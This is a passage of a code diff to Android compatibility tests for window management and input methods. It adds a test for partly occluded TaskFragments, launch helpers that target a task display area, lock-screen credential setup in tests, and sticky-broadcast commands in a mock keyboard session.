         waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
         waitAndAssertActivityState(mActivityB, STATE_STOPPED,
                 "Activity B is occluded by Activity C, so it must be stopped.");
-        waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+    }
+
+    /**
+     * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+     * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+     * TaskFragment above.
+     */
+    @Test
+    public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+        // TaskFragment C is not fully occluding TaskFragment B.
+        final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+        partialOccludingSideBounds.left += 50;
+        final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+                mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+        final IBinder taskFragTokenC = paramsC.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                // Create the side TaskFragment for C and launch
+                .createTaskFragment(paramsC)
+                .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+                        null /* activityOptions */)
+                .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        // Wait for the TaskFragment of Activity C to be created.
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+        waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+                "Activity B is occluded by Activity C, so it must be stopped.");
+        waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
     }
 
     /**
@@ -502,7 +537,10 @@
     public void testLaunchEmbeddedActivityWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B (with showWhenLocked)
         // side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -522,7 +560,10 @@
     public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
 
@@ -542,7 +583,10 @@
     public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
         assumeTrue(supportsLockScreen());
 
+        // Create lock screen session and set credentials (since some devices will not show a
+        // lockscreen without credentials set).
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
         // Initialize test environment by launching Activity A and B side-by-side.
         mOwnerActivity.setShowWhenLocked(true);
         initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
index def5b0b..873142b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
@@ -24,6 +24,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Activity;
 import android.content.ComponentName;
 import android.content.Intent;
@@ -78,6 +80,7 @@
      */
     @Test
     public void testCreateTaskFragment() {
+        assumeTrue("MultiWindow are not supported.", supportsMultiWindow());
         mWmState.computeState(mOwnerActivityName);
         Task parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
         final int originalTaskFragCount = parentTask.getTaskFragments().size();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 34a16a5..1474deb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -59,7 +59,9 @@
 
     @After
     public void tearDown() {
-        mTaskFragmentOrganizer.unregisterOrganizer();
+        if (mTaskFragmentOrganizer != null) {
+            mTaskFragmentOrganizer.unregisterOrganizer();
+        }
     }
 
     public static IBinder getActivityToken(@NonNull Activity activity) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index 2a5de2f..eecab9c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -346,7 +346,13 @@
         if (!testOpen) {
             topStartCmd += " --ei " + EXTRA_FINISH_DELAY + " 1000";
         }
-        executeShellCommand(topStartCmd + " --windowingMode " + windowingMode);
+        topStartCmd += " --windowingMode " + windowingMode;
+        // Launch top task in the same display area as the bottom task. CTS tests using multiple
+        // tasks assume they will be started in the same task display area.
+        int bottomComponentDisplayAreaFeatureId =
+                mWmState.getTaskDisplayAreaFeatureId(bottomComponent);
+        topStartCmd += " --task-display-area-feature-id " + bottomComponentDisplayAreaFeatureId;
+        executeShellCommand(topStartCmd);
 
         Condition.waitFor("Retrieving correct transition", () -> {
             if (testOpen) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 8e28903..cc41397 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -63,6 +63,7 @@
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -82,11 +83,13 @@
 
     private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
 
+    @Ignore("b/168446060")
     @Test
     public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(false /* useControlApi */);
     }
 
+    @Ignore("b/168446060")
     @Test
     public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(true /* useControlApi */);
@@ -100,7 +103,10 @@
             activity.setEvaluator(() -> {
                 // This runs from time to time on the UI thread.
                 Bitmap screenshot = getInstrumentation().getUiAutomation().takeScreenshot();
-                final int center = screenshot.getWidth() / 2;
+                // Activity can be next to any screen edge and center must be offset by mTestView X
+                int[] loc = new int[2];
+                activity.mTestView.getLocationOnScreen(loc);
+                final int center = activity.mTestView.getWidth() / 2 + loc[0];
                 int imePositionApp = lowestPixelWithColor(APP_COLOR, 1, screenshot);
                 int contentBottomMiddle = lowestPixelWithColor(APP_COLOR, center, screenshot);
                 int behindImeBottomMiddle =
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
index 6fbfe36..a041886 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowMetricsTestHelper.java
@@ -49,7 +49,11 @@
     public static void assertMetricsMatchesLayout(WindowMetrics currentMetrics,
             WindowMetrics maxMetrics, Rect layoutBounds, WindowInsets layoutInsets,
             boolean isFreeformActivity) {
-        assertEquals(layoutBounds, currentMetrics.getBounds());
+        // Only validate the size portion of the bounds, regardless of the position on the screen to
+        // take into consideration multiple screen devices (e.g. the dialog is on another screen)
+        final Rect currentMetricsBounds = currentMetrics.getBounds();
+        assertEquals(layoutBounds.height(), currentMetricsBounds.height());
+        assertEquals(layoutBounds.width(), currentMetricsBounds.width());
         // Freeform activities doesn't guarantee max window metrics bounds is larger than current
         // window metrics bounds. The bounds of a freeform activity is unlimited except that
         // it must be contained in display bounds.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 54cc744..9b35b68 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -151,9 +151,16 @@
         final Activity translucentActivity = new Launcher(TranslucentActivity.class)
                 .setOptions(getLaunchOptionsForFullscreen())
                 .launch();
+
+        // We need to get the translucentActivity task display area feature Id so we can launch the
+        // firstActivity on the same task display area as the translucentActivity.
+        final int translucentActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(
+                translucentActivity.getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(translucentActivityTDAFeatureId);
         final Activity firstActivity = new Launcher(FirstActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(translucentActivity, ON_STOP));
 
@@ -161,9 +168,13 @@
         mWmState.computeState(firstActivityName);
         int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
 
+        // We need to get the firstActivity task display area feature Id so we can move the
+        // translucentActivity on top of the same task display area as the firstActivity.
+        int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivityName);
         // Move translucent activity into the stack with the first activity
         getLifecycleLog().clear();
-        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
+        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class),
+                firstActivityStack, firstActivityTDAFeatureId);
 
         // Wait for translucent activity to resume and first activity to pause
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
@@ -732,10 +743,15 @@
         final Activity recreatingActivity = new Launcher(SingleTopActivity.class)
                 .launch();
 
+        // Retrieve the activity Task Display Area.
+        int recreatingActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(recreatingActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(recreatingActivityTDAFeatureId);
         // Launch second activity to cover and stop first
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
 
         // Wait for first activity to become occluded
@@ -792,10 +808,15 @@
         final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
 
+        int singleTopActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(singleTopActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(singleTopActivityTDAFeatureId);
+
         // Launch something on top
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
 
         waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index 6f388e3..b303c846 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -33,6 +33,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -243,8 +244,12 @@
     @Test
     public void testFinishAffinity_differentAffinity() throws Exception {
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
         final Activity differentAffinityActivity = new Launcher(DifferentAffinityActivity.class)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
@@ -263,10 +268,14 @@
     @Test
     public void testFinishAffinity_multiTask() throws Exception {
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
         // Launch fullscreen activity in a new task to stop first activity
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index 25b5ee8..37058c9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -22,6 +22,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
@@ -141,6 +142,11 @@
      */
     public static final String KEY_WINDOWING_MODE = "windowing_mode";
 
+    /**
+     * Key for int extra, indicates the launch TaskDisplayArea feature id
+     */
+    public static final String KEY_TASK_DISPLAY_AREA_FEATURE_ID = "task_display_area_feature_id";
+
 
     /** Perform an activity launch configured by provided extras. */
     public static void launchActivityFromExtras(final Context context, Bundle extras) {
@@ -234,6 +240,16 @@
         if (intentFlags != 0) {
             newIntent.addFlags(intentFlags);
         }
+
+        final int launchTaskDisplayAreaFeatureId = extras
+                .getInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, FEATURE_UNDEFINED);
+        if (launchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+            if (options == null) {
+                options = ActivityOptions.makeBasic();
+            }
+            options.setLaunchTaskDisplayAreaFeatureId(launchTaskDisplayAreaFeatureId);
+        }
+
         final Bundle optionsBundle = options != null ? options.toBundle() : null;
 
         final Context launchContext = getBoolean(extras, KEY_USE_APPLICATION_CONTEXT) ?
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 331db92..40b5a32 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -59,6 +59,7 @@
 import static android.server.wm.ActivityLauncher.KEY_REORDER_TO_FRONT;
 import static android.server.wm.ActivityLauncher.KEY_SUPPRESS_EXCEPTIONS;
 import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
+import static android.server.wm.ActivityLauncher.KEY_TASK_DISPLAY_AREA_FEATURE_ID;
 import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
 import static android.server.wm.ActivityLauncher.KEY_WINDOWING_MODE;
 import static android.server.wm.ActivityLauncher.launchActivityFromExtras;
@@ -100,6 +101,7 @@
 import static android.view.Display.INVALID_DISPLAY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -760,6 +762,12 @@
         return mInstrumentation.getUiAutomation().takeScreenshot();
     }
 
+    protected Bitmap takeScreenshotForBounds(Rect rect) {
+        Bitmap fullBitmap = takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, rect.left, rect.top,
+                rect.width(), rect.height());
+    }
+
     protected void launchActivity(final ComponentName activityName,
             final CliIntentExtra... extras) {
         launchActivityNoWait(activityName, extras);
@@ -858,6 +866,16 @@
                 .build());
     }
 
+    protected void launchActivityOnTaskDisplayArea(ComponentName activityName, int windowingMode,
+            int launchTaskDisplayAreaFeatureId, int displayId, final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras)
+                + " --task-display-area-feature-id " + launchTaskDisplayAreaFeatureId
+                + " --windowingMode " + windowingMode);
+        mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
+                .setWindowingMode(windowingMode)
+                .build());
+    }
+
     protected void launchActivityOnDisplay(ComponentName activityName, int displayId,
             CliIntentExtra... extras) {
         launchActivityOnDisplayNoWait(activityName, displayId, extras);
@@ -960,6 +978,11 @@
      * task.
      */
     protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
+        moveActivityToRootTaskOrOnTop(activityName, rootTaskId, FEATURE_UNDEFINED);
+    }
+
+    protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId,
+                                                 int taskDisplayAreaFeatureId) {
         mWmState.computeState(activityName);
         Task rootTask = getRootTask(rootTaskId);
         if (rootTask.getActivities().size() != 0) {
@@ -968,6 +991,7 @@
                     .setDisplayId(rootTask.mDisplayId)
                     .setWindowingMode(rootTask.getWindowingMode())
                     .setActivityType(rootTask.getActivityType())
+                    .setLaunchTaskDisplayAreaFeatureId(taskDisplayAreaFeatureId)
                     .setTargetActivity(activityName)
                     .allowMultipleInstances(false)
                     .setUseInstrumentation()
@@ -2275,6 +2299,7 @@
         private Bundle mExtras;
         private LaunchInjector mLaunchInjector;
         private ActivitySessionClient mActivitySessionClient;
+        private int mLaunchTaskDisplayAreaFeatureId = FEATURE_UNDEFINED;
 
         private enum LauncherType {
             INSTRUMENTATION, LAUNCHING_ACTIVITY, BROADCAST_RECEIVER
@@ -2372,6 +2397,12 @@
             return this;
         }
 
+        public LaunchActivityBuilder setLaunchTaskDisplayAreaFeatureId(
+                int launchTaskDisplayAreaFeatureId) {
+            mLaunchTaskDisplayAreaFeatureId = launchTaskDisplayAreaFeatureId;
+            return this;
+        }
+
         /** Use broadcast receiver as a launchpad for activities. */
         public LaunchActivityBuilder setUseBroadcastReceiver(final ComponentName broadcastReceiver,
                 final String broadcastAction) {
@@ -2479,6 +2510,7 @@
             b.putBoolean(KEY_SUPPRESS_EXCEPTIONS, mSuppressExceptions);
             b.putInt(KEY_INTENT_FLAGS, mIntentFlags);
             b.putBundle(KEY_INTENT_EXTRAS, getExtras());
+            b.putInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, mLaunchTaskDisplayAreaFeatureId);
             final Context context = getInstrumentation().getContext();
             launchActivityFromExtras(context, b, mLaunchInjector);
         }
@@ -2559,6 +2591,13 @@
                 commandBuilder.append(" --ei " + KEY_INTENT_FLAGS + " ").append(mIntentFlags);
             }
 
+            if (mLaunchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+                commandBuilder.append(" --task-display-area-feature-id ")
+                        .append(mLaunchTaskDisplayAreaFeatureId);
+                commandBuilder.append(" --ei " + KEY_TASK_DISPLAY_AREA_FEATURE_ID + " ")
+                        .append(mLaunchTaskDisplayAreaFeatureId);
+            }
+
             if (mLaunchInjector != null) {
                 commandBuilder.append(" --ez " + KEY_FORWARD + " true");
                 mLaunchInjector.setupShellCommand(commandBuilder);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 55b2b62..fcfc8c6 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -29,6 +29,7 @@
 import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
 import static android.util.DisplayMetrics.DENSITY_DEFAULT;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -496,6 +497,15 @@
         return result.stream().findFirst().orElse(null);
     }
 
+    public int getTaskDisplayAreaFeatureId(ComponentName activityName) {
+        final DisplayArea taskDisplayArea = getTaskDisplayArea(activityName);
+        if (taskDisplayArea != null) {
+            return taskDisplayArea.getFeatureId();
+        }
+
+        return FEATURE_UNDEFINED;
+    }
+
     @Nullable
     DisplayArea getDisplayArea(String windowName) {
         final List<DisplayArea> result = new ArrayList<>();
@@ -1805,6 +1815,10 @@
             return mIsOrganized;
         }
 
+        public Rect getAppBounds() {
+            return mFullConfiguration.windowConfiguration.getAppBounds();
+        }
+
         @Override
         public Rect getBounds() {
             if (mBounds == null) {
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS InputMethod test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 2aa20c1..30b4172 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -49,12 +49,15 @@
 import androidx.annotation.GuardedBy;
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.annotation.RequiresPermission;
 
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.AssumptionViolatedException;
 
 import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -78,6 +81,8 @@
 
     private final HandlerThread mHandlerThread = new HandlerThread("EventReceiver");
 
+    private final List<Intent> mStickyBroadcasts = new ArrayList<>();
+
     private static final class EventStore {
         private static final int INITIAL_ARRAY_SIZE = 32;
 
@@ -296,6 +301,9 @@
      * selected next is up to the system.
      */
     public void close() throws Exception {
+        mStickyBroadcasts.forEach(mContext::removeStickyBroadcast);
+        mStickyBroadcasts.clear();
+
         executeShellCommand(mUiAutomation, "ime reset");
 
         PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
@@ -322,14 +330,43 @@
     private ImeCommand callCommandInternal(@NonNull String commandName, @NonNull Bundle params) {
         final ImeCommand command = new ImeCommand(
                 commandName, SystemClock.elapsedRealtimeNanos(), true, params);
+        final Intent intent = createCommandIntent(command);
+        mContext.sendBroadcast(intent);
+        return command;
+    }
+
+    /**
+     * A variant of {@link #callCommandInternal} that uses
+     * {@link Context#sendStickyBroadcast(android.content.Intent) sendStickyBroadcast} to ensure
+     * that the command is received even if the IME is not running at the time of sending
+     * (e.g. when {@code config_preventImeStartupUnlessTextEditor} is set).
+     * <p>
+     * The caller requires the {@link android.Manifest.permission#BROADCAST_STICKY BROADCAST_STICKY}
+     * permission.
+     */
+    @NonNull
+    @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY)
+    private ImeCommand callCommandInternalSticky(
+            @NonNull String commandName,
+            @NonNull Bundle params) {
+        final ImeCommand command = new ImeCommand(
+                commandName, SystemClock.elapsedRealtimeNanos(), true, params);
+        final Intent intent = createCommandIntent(command);
+        mStickyBroadcasts.add(intent);
+        mContext.sendStickyBroadcast(intent);
+        return command;
+    }
+
+    @NonNull
+    private Intent createCommandIntent(@NonNull ImeCommand command) {
         final Intent intent = new Intent();
         intent.setPackage(MockIme.getComponentName().getPackageName());
         intent.setAction(MockIme.getCommandActionName(mImeEventActionName));
         intent.putExtras(command.toBundle());
-        mContext.sendBroadcast(intent);
-        return command;
+        return intent;
     }
 
+
     /**
      * Lets {@link MockIme} to call
      * {@link android.inputmethodservice.InputMethodService#getCurrentInputConnection()} and
@@ -1146,8 +1183,9 @@
     }
 
     @NonNull
+    @RequiresPermission(android.Manifest.permission.BROADCAST_STICKY)
     public ImeCommand callSetInlineSuggestionsExtras(@NonNull Bundle bundle) {
-        return callCommandInternal("setInlineSuggestionsExtras", bundle);
+        return callCommandInternalSticky("setInlineSuggestionsExtras", bundle);
     }
 
     @NonNull
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index ccd8659..8855dee 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -32,7 +32,7 @@
      *
      * <p>See Bug 174534092 about why we ended up having this.</p>
      */
-    private static final int TOLERANCE = 4;
+    private static final int TOLERANCE = 6;
 
     /**
      * A utility class that represents A8R8G8B bitmap as an integer array.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 8f5ff6f..6145da2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -34,8 +34,6 @@
 import android.content.pm.ResolveInfo;
 import android.content.pm.ServiceInfo;
 import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
-import android.text.TextUtils;
 import android.util.Printer;
 import android.view.inputmethod.InputMethod;
 import android.view.inputmethod.InputMethodInfo;
@@ -47,15 +45,14 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.BufferedReader;
 import java.io.IOException;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
 import java.util.List;
 
 @SmallTest
@@ -240,8 +237,8 @@
             return;
         }
 
-        if (!TextUtils.equals("native", getFbeMode())) {
-            // Skip the test unless the device is in native FBE mode.
+        // If the device doesn't use FBE, skip the test.
+        if (!PropertyUtil.propertyEquals("ro.crypto.type", "file")) {
             return;
         }
 
@@ -264,23 +261,6 @@
         assertTrue(hasEncryptionAwareInputMethod);
     }
 
-    private String getFbeMode() {
-        try (ParcelFileDescriptor.AutoCloseInputStream in =
-                     new ParcelFileDescriptor.AutoCloseInputStream(InstrumentationRegistry
-                             .getInstrumentation()
-                             .getUiAutomation()
-                             .executeShellCommand("sm get-fbe-mode"))) {
-            try (BufferedReader br =
-                         new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
-                // Assume that the output of "sm get-fbe-mode" is always one-line.
-                final String line = br.readLine();
-                return line != null ? line.trim() : "";
-            }
-        } catch (IOException e) {
-            return "";
-        }
-    }
-
     @Test
     public void testShowInInputMethodPicker() {
         final List<InputMethodInfo> imis = mImManager.getInputMethodList();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
index f2a64c4..a686465 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
@@ -20,13 +20,16 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.rules.TestName;
